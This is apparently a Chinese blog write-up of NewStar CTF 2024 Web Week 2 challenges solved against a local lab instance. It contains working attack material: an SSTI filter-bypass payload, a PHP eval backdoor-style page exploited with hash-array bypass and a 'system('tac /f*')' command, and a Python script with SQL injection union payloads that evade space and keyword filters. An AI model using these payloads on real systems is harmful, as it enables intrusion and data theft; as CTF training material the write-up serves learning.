Huajiの小窝.

NewStar CTF 2024 Web Week2复现

2025/07/20
loading

NewStar CTF 2024 Web Week2复现

平台链接https://ctf.xidian.edu.cn/training/14

紧跟上次week1的题目

写于7.17

你能在一秒内打出八句英文吗

看题目就像一个自动化测试的题,主包selenium写的比较好所以就用它了

1
2
3
4
5
6
7
8
9
10
11
from selenium import webdriver
from selenium.webdriver.common.by import By

driver=webdriver.Firefox()
driver.get("http://127.0.0.1:48254/")
driver.find_element(By.XPATH,'//*[@id="start-btn"]').click()
content=driver.find_element(By.XPATH,'//*[@id="text"]').text
print(content)
inp=driver.find_element(By.XPATH,'//*[@id="user-input"]')
inp.send_keys(content)
driver.find_element(By.XPATH,'//*[@id="submit-btn"]').click()

复读机

你输入什么机器人就回复什么,但是输入4就返回4,所以有ssti

fenjing一把梭,

复盘wp发现只是class被过滤了,用文字拼接即可

1
{{[]['__cl'+'ass__']}}

还有subclasses记得绕过即可

遗失的拉链

拉链就是zip,dirsearch也能搜到www.zip

http://127.0.0.1:48254/www.zip

打开发现还有个文件

http://127.0.0.1:48254/pizwww.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

数组绕过哈希,用tac代替cat,flag可以用正则

http://127.0.0.1:48254/pizwww.php?new[]=4

star[]=2&cmd=system(‘tac /f*’);

谢谢皮蛋 plus

为何是零解题,因为根本就没有flag

过滤了and和空格

分别可以用&&和/**/

看源码还有extractvalue和updataxml被过滤了

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64

payload1='''-1"/**/union/**/select/**/1,database()#'''
payload2='''-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#'''
payload3='''-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/&&/**/table_name='Fl4g'#'''
payload4='''-1"/**/union/**/select/**/1,group_concat(value)/**/from/**/Fl4g#'''

d={"id":base64.b64encode(payload1.encode())}
r=requests.post("http://127.0.0.1:48254/",data=d)
print(r.text)

PangBai 过家家(2)

CATALOG
  1. 1. NewStar CTF 2024 Web Week2复现
    1. 1.1. 你能在一秒内打出八句英文吗
    2. 1.2. 复读机
    3. 1.3. 遗失的拉链
    4. 1.4. 谢谢皮蛋 plus
    5. 1.5. PangBai 过家家(2)